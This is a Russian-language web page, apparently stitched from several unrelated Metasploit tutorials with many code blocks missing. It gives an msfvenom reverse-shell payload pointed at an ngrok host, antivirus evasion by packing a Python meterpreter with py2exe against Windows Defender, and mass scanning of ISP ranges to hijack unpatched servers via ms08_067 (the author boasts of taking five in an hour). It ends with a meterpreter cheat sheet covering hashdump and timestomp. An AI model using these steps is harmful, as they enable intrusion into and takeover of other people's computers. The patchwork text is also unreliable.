Скрытое управление компьютером на windows используя metasploit

Обновлено: 06.07.2024

Metasploit - одна из лучших сред тестирования безопасности, которая помогает тестировщикам делать больше, чем просто обнаруживать проблемы и выявлять уязвимости; он также готовится и вооружает защитников, чтобы всегда оставаться на один или два шага впереди игры.

Metasploit Framework - это набор инструментов для генерации и запуска кодов эксплойтов на локальном или удаленном целевом компьютере. В Интернете существуют тонны учебников по использованию различных уязвимостей. Но большинство из них ограничены в локальной сети. Чтобы сделать что-то полезное, один из них выходит за пределы локальной сети.

Большинство наших машин не будут напрямую доступны из Интернета, так как они находятся в локальной сети за маршрутизатором. По умолчанию он не разрешает входящий трафик из Интернета в локальную сеть. Для этого необходимо включить перенаправление портов. Порт. Пересылка - это механизм, который используется для перенаправления соединения с внешнего устройства для доступа к службам на устройстве в локальных сетях / частных сетях. Для этого вам следует настроить маршрутизатор, что может быть невозможно, если вы находитесь в офисной сети. Так что с этим делать?

Metasploit вне локальной сети без переадресации портов
В этом посте мы обсудим атаку на устройство с помощью metasploit framework, чтобы установить обратное TCP-соединение с устройства жертвы на нашу локальную машину без переадресации портов.

Шаг 1 - Настройка Ngrok
ngrok - это удивительный сервис, позволяющий нам установить соединение с машиной или службой, работающей на машине, которая находится внутри локальной сети или расположена через Интернет без переадресации портов или добавления каких-либо правил брандмауэра. Это поможет нам подключить нашу машину-жертву для установления обратного TCP-соединения с нашим слушателем, даже если наша машина находится в нашей локальной сети.

Первое, что нужно сделать, это установить и настроить ngrok на нашей машине Kali. Для этого выполните шаги 1, 2 и 3 в следующем уроке. Вы можете сделать намного больше, используя Ngrok.

Шаг 2 - Запуск Ngrok
Теперь давайте запустим ngrok на TCP-порте; скажем, 9999. Слушатель Metasploit будет прослушивать порт 9999 для входящих обратных соединений TCP.

Как только вы выполните эту команду, вы увидите нечто вроде этого:
Forwarding tcp://0.tcp.ngrok.io:19631 -> localhost:9999

Это означает, что весь трафик 0.tcp.ngrok.io через порт 19631 через Интернет будет перенаправлен ngrok на порт 9999 на нашей машине. Оставь это работающим.

Шаг 3 - Создание полезной нагрузки
Теперь запустите другой терминал и создайте полезную нагрузку с вышеупомянутыми LPORT и LHOST. Используйте приведенную ниже команду для ее создания.

msfvenom -p windows / meterpreter / reverse_tcp LHOST = 0.tcp.ngrok.io LPORT = 19631 -f exe> payload.exe

Здесь я использовал полезную нагрузку windows, но вы можете создать полезную нагрузку для любой ОС, включая android, предоставив вышеупомянутые LHOST и LPORT.

Шаг 4 - Запустите Metasploit Listener
Как только полезная нагрузка сгенерирована, вы можете запустить metasploit и настроить прослушиватель с помощью приведенных ниже команд.

Как только вы запустите 'эксплойт', metasploit запустит прослушиватель на порту 9999 на вашей машине, который будет следить за любым входящим обратным TCP-соединением.

Вы получили оболочку .

Отказ от ответственности: это только для образовательных целей. Любые действия и / или действия, связанные с материалами, содержащимися на этом веб-сайте, являются исключительно вашей ответственностью. Неправильное использование информации на этом веб-сайте может привести к уголовным обвинениям против указанных лиц. Авторы не будут нести ответственность в случае предъявления каких-либо уголовных обвинений лицам, злоупотребляющим информацией на этом веб-сайте, чтобы нарушить закон. Источник

image

Всем привет. Сегодня рассмотрим вариант запуска meterpreter сессии на машине Windows 10 с самыми свежими патчами (включая Windows Defender). И все также будем обходить антивирусы. Meterpreter — расширенная многофункциональная начинка (payload, нагрузка), которая может быть динамически расширена во время выполнения. В нормальных условиях это обеспечивает вас основной оболочкой и позволяет вам добавлять новые особенности к ней по мере необходимости.
Будем мы это делать с помощью Python, и посмотрим, как поведут себя антивирусные средства.

Предугадывая вопрос «А нужен ли нам Python на машине жертвы для запуска ехе?», отвечу сразу – нет, не нужен, все уже внутри.

В данной статье мы будем использовать:

  • Windows 10 с включенным Windows Defender с обновленными базами (компьютер жертвы 192.168.1.113);
  • Kali linux для использования metasploit и msfvenom (192.168.1.126);
  • Windows 10 для сборки бинарника (в нашей лаборатории совпадает с компьютером жертвы) с установленными;
  • Python (3, но и для 2 тоже посмотрим);
  • py2exe.


Мы получаем предупреждение от нашего старого друга Windows Defender, которого мы так все любим.

image

Если спросим у VirusTotal, то он скажет следующее:

image

Давайте запустим Python и сделаем то, ради чего мы все тут собрались.

Python/meterpreter/reverse_tcp – это уникальный кроссплатформенный payload Metasploit Framework, который позволяет удаленно управлять скомпрометированным компьютером. Не нужно думать о том, какую платформу выбрать, он сработает на любой, но в данном случае сделаем из него исполняемый файл под Windows.

Для начала установим пакет py2exe, который позволяет сделать исполняемый файл Windows из Python скрипта.

У нас это будет Python 3.4 (все что выше – не поддерживает py2exe).


Далее создадим «сырой» питоновский код с расширением .py


Так же в вывод msfvenom нам необходимо добавить импорт getpass, который он забывает сделать сам. В итоге получиться должно так:


Теперь у нас все готово для создания бинарника.


Должны получить следующее:

image

Давайте еще раз обратимся к VirusTotal:

image

Уже лучше, теперь проверим это в действии – после копирования на машину жертвы обходимся без алертов.

Параллельно запустим наш msf и handler для питона, запустив последовательно команды:


image

Пойдем дальше и убедимся, что сессия работает корректно.

image

Таким образом сессия запущена и Windows Defender не сработал, чего мы и добивались.

Заодно давайте рассмотрим, что делать, если у вас Python 2ой версии.

  1. Качаем py2exe для python 2
  2. Генерируем payload с расширением .py
  3. Создаем файл setup.py и пишем туда следующее:

Должно получиться все то же самое.

В качестве итога замечу, что оболочка python meterpreter уступает по функционалу более привычному windows meterpreter. Например, не получится мигрировать в процесс или использовать команды типа getsystem, но все же это реальная альтернатива: получить сессию для работы с msf (routing и portfwd как минимум) и далее работать внутри сети.

Считается, что с каждой новой версией Windows становится все защищеннее и защищеннее. Даже специалисты АНБ США приложили свою тяжелую руку к улучшению безопасности винды. Но так ли хорошо защищена ОС Windows в действительности? Давай проверим вместе. На практике!

Готовим операционную

Для использования полученных префиксов в сканере nmap, необходимо их предварительно скопировать в файл — например, my_isp.txt, и поместить файл в рабочий каталог с nmap. Итак, поехали, команда запуска сканера будет выглядеть следующим образом:

nmap -T4 -A -v -PE -PS445 -PA445 -iL my_isp.txt

Отлично, в результате сканирования мы получили список хостов с запущенной службой сервера, которую видно из внешней сети, причем она ничем не прикрыта, хотя мелкомягкие еще в 2008 году настоятельно рекомендовали блокировать доступ из интернета к этому сервису. Интересно, что по каждому хосту nmap выдает подробную информацию о типе установленной ОС.

Виды shell: полезная нагрузка meterpreter и другие

В настоящее время считается, что полнофункциональный Meterpreter (МР) существует только под Windows, но на самом деле это не совсем так. Существует еще несколько версий MP, реализованных на PHP и JAVA. Впрочем, ты и сам можешь стать автором «полезной нагрузки» — например, скомпилировать TCL-сценарий shell-кода для Cisco IOS с помощью утилиты tclpro.exe и в дальнейшем использовать его для жестоких игр с железными кошками. Как так? Сам не понимаю :).

Стандартную полезную нагрузку MP можно использовать почти со всеми Windows-эксплойтами, включенными в Metasploit Framework, выбрав одну из следующих полезных нагрузок:

Кратко поясню суть каждой.

  1. bind_meterpreter— резервирует порт на целевой машине и ожидает соединения. После установления соединения происходит загрузка Meterpreter’a на целевой хост, текущее соединение продолжает использоваться для связи с удаленной машиной.
  2. reverse_meterpreter— сама соединяется с предварительно заданным хостом по указанному порту для дальнейшей загрузки Meterpreter’a. Затем установленное соединение используется для связи с удаленной машиной. Все хорошо, но для успешной реализации данного метода нам понадобится реальный IP-адрес (или устанавливай проброс нужных тебе портов через NAT).
  3. find_tag— осуществляет поиск дескриптора службы, обработанной эксплойтом, и использует его для загрузки Meterpreter’a на удаленную машину, после чего существующее соединение будет использовано для связи с ней. Этот вид полезной нагрузки является особенно интересным, поскольку тут не требуется открывать новое соединение — таким образом, существует возможность обхода практически любых конфигураций брандмауэров.
  4. bind_tcp— это обычный командный интерпретатор типа cmd.exe, естественно, без всяких дополнительных наворотов, как у Meterpreter`a. Он просто резервирует порт на целевой машине и загружает стандартную оболочку.

В зависимости от цели исследования системы может быть использована любая из этих полезных нагрузок. Так чего же мы ждем? Выбираем цель из списка, полученного в результате сканирования nmap, и подключаемся к ней. Для простоты эксперимента будем использовать простой командный интерпретатор в качестве полезной нагрузки.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit> set PAYLOAD windows/vncinject/bind_tcp
PAYLOAD => windows/vncinject/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > exploit

Захват сервера

Теперь из списка хостов, сгенерированных nmap, выберем IP-адрес под управлением ОС Windows 2003 Server — это и будет наша искомая цель (ведь ты, как настоящий сетевой гуру, хотя бы раз в жизни должен поиметь свой собственный дедик!). Для работы с сервером будем использовать все тот же эксплойт (exploit/windows/smb/ms08_067_netapi) и полезную нагрузку bind_meterpreter. В результате мы получаем доступ к командной оболочке через Meterpreter, после чего добавляем нового пользователя с помощью сценария token_adduser, предварительно повысив свои привилегии на удаленной машине до уровня SYSTEM с помощью команды use priv. Ну вот — у нас есть дедик, к которому ты можешь подключаться, используя удаленный рабочий стол. На нем мы можем установить прокси-сервер, FTP и многоемногое другое. В ходе эксперимента у меня получилось набрать пять дедиков примерно в течение часа. Я думаю, это круто!

Заключение

Если кто-то хочет просто жать на кнопку «exploit», чтобы Metasploit сразу выдавал готовые дедики, то скажу сразу — этого не будет: метод все равно требует времени и терпения. Уязвимость далеко не нова, и производители ПО уже приняли меры по ее локализации.

Так, если на удаленной машине установлен антивирус или правильно сконфигурирован центр обеспечения безопасности Windows, то скорее всего доступ к порту 445 из внешней сети получить просто не удастся. В частности, антивирус Касперского отреагирует на изменение системных файлов, своевременно информируя об этом пользователя. Хотя атака из локальной сети, скорее всего, приведет к тому, что система будет полностью скомпрометирована. Несмотря ни на что, все еще остается довольно широкое поле для экспериментов с безопасностью Windows, и ты можешь внести свой вклад в это дело. Непоправимый вклад :).

History

Компания Microsoft в свое время даже объявляла премию в размере $250 000 за информацию, которая будет способствовать поимке создателя этого червячка. «Но ведь это далекое прошлое!», — возразишь ты и будешь отчасти прав. Но только отчасти, так как сегодня ситуация не сильно изменилась.

Автор материала не несет ответственности, за действия совершенные читателями. Информация предоставлена исключительно в ознакомительных целях.

Metasploit представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. На данный момент Metasploit приобретен компанией Rapid7 и имеет несколько версий:

— командная оболочка msfconole

— версия с web-интерфейсом Metasploit PRO.

Загрузить и установить Metasploit можно с официального сайта проекта:

В этой статье я постараюсь полностью избежать теории и максимально коротко раскрыть практическую сторону Metasploit на примере проникновения в ОС Windows Server 2012.

В качестве атакующей машины будет выступать компьютер под управлением ОС Kali, дистрибутив которой уже содержит Metasploit, нам остается только запустить сервис базы данных:

$sudo service postgresql start

Убедиться, что база данных прослушивает порт 5432 командой:

Остается только инициализировать БД msf:

$sudo msfdb init

Теперь можно запускать msfconsole:

Проверим статус БД:

msf5 >db_status

Если всё настроено верно, то мы получим примерно такой вывод:

[*] Connected to msf. Connection type: postgresql.

Для этой цели будем использовать сетевой сканнер nmap прямо из консоли msf. Как использовать nmap — это отдельная тема, останавливаться на ней сейчас я не буду, скажу только, что ip-адрес жертвы в этом примере нам известен, а ключ -sV даст больше информации об ОС, службах и открытых портах:

msf5 >nmap -sV 192.168.1.104

Следующей командой ищем модули для работы с SMB:

msf5 >search smb

В выводе мы получим список всех известных на данный момент модулей для SMB. А также версию, код уязвимости и шансы на успех.

Выбор осуществляется командой use:

msf5 >use exploit/windows/smb/ms17_010_psexec

Для смены модуля используем команду use или для отмены команду back.

Теперь мы можем установить ip адрес жертвы и ввести команду exploit в msfconsole для выполнения выбранного модуля или просмотреть опции модуля командой show options.

Опции модуля устанавливаются командой set.

В моей компании половина сотрудников хранят свои пароли на стикерах, приклеенных к мониторам. А в компании, где я работал до этого, все логины и пароли лежали на общедоступном диске в одном документе. Поэтому если вам так же «повезло», как мне, используем социальную инженерию и зададим логин и пароль:

msf5 exploit(windows/smb/ms17_010_psexec)>set smbuser Ivanov_II

msf5 exploit(windows/smb/ms17_010_psexec)>set smbpass Qwerty123

Но в данном примере я задам только ip-адрес, в этом случае Metasploit будет пытаться войти в систему либо анонимно, либо используя словарь, адрес которого видно в опциях. Вводим:

msf5 exploit(windows/smb/ms17_010_psexec)>set rhost 192.168.1.104


Мануал

Metasploit:

Укажите и используйте эксплойт:

Укажите полезную нагрузку для использования:

Показать параметры для текущих модулей:

Полезные вспомогательные модули

FTP Сервер:

Proxy Сервер:

msfvenom :

Инструмент msfvenom можно использовать для генерации полезных нагрузок Metasploit (например, Meterpreter) в виде отдельных файлов и, при необходимости, для их кодирования.

Этот инструмент заменяет прежние инструменты msfpayload и msfencode.

Полезная нагрузка Reverse Meterpreter в виде исполняемого файла и перенаправленная в файл:

Metasploit Meterpreter

Базовые команды:

  • ? / help: вывод сводной информации о командах
  • exit / quit: выход из сеанса Meterpreter
  • sysinfo: показать имя системы и тип ОС
  • shutdown / reboo: не требует пояснений
    Команды файловой системы:
  • cd: изменить каталог
  • lcd: Изменить каталог на локальном (атакующем) компьютере
  • pwd / getwd: Показать текущий рабочий каталог
  • ls: показать содержимое каталога
  • cat: отображать содержимое файла на экране
  • download / upload: перемещение файлов на / с целевого компьютера
  • mkdir / rmdir: создать / удалить каталог
  • edit: открыть файл в редакторе по умолчанию (обычно vi)
    Команды процесса:
  • getpid: Показать идентификатор процесса, внутри которого работает Meterpreter.
  • getuid: Показать идентификатор пользователя, с которым работает Meterpreter.
  • ps: Показать список процессов.
  • kill: завершить процесс по его идентификатору.
  • execute: запустить заданную программу с правами процесса, в который загружен Meterpreter.
  • migrate: переход к указанному идентификатору процесса назначения:
  1. Целевой процесс должен иметь такие же или меньшие привилегии
  2. Целевой процесс может быть более стабильным
  3. Находясь внутри процесса, может получить доступ к любым файлам, для которых процесс заблокирован

Сетевые команды:

  • ipconfig: Показать информацию о сетевом интерфейсе
  • portfwd: пересылка пакетов через сеанс TCP
  • route: управление / просмотр таблицы маршрутизации системы

Разные команды:

  • idletime: отображение времени, в течение которого GUI целевой машины простаивал.
  • uictl [enable/disable] Скрытое управление компьютером на windows используя metasploit: включить / отключить мышь или клавиатуру целевой машины.
  • screenshot: Сохранить как изображение снимок экрана целевой машины.

Дополнительные модули:

  • use [module]: загрузить указанный модуль
  • Пример:

use priv: загрузить модуль priv

  • hashdump: сбросить хэши из коробки
  • timestomp: Изменить временные метки файла NTFS

Управление сессиями

Запустите эксплойт, ожидая одну сессию, которая сразу же станет фоновой:

Запустите эксплойт в фоновом режиме, ожидая одну или несколько сессий, которые сразу же станут фоновыми:

Перечислите все текущие задания (обычно используют слушателей):

Несколько сессий:

Перечислите все фоновые сессии:

Взаимодействовать с фоновым сеансом:

Предыстория текущего интерактивного сеанса:

Маршрутизация через сессии:

Все модули (эксплойты / post / aux) против целевой маски подсети будут поворачиваться в течение этого сеанса.

Читайте также:

[module name="footer"]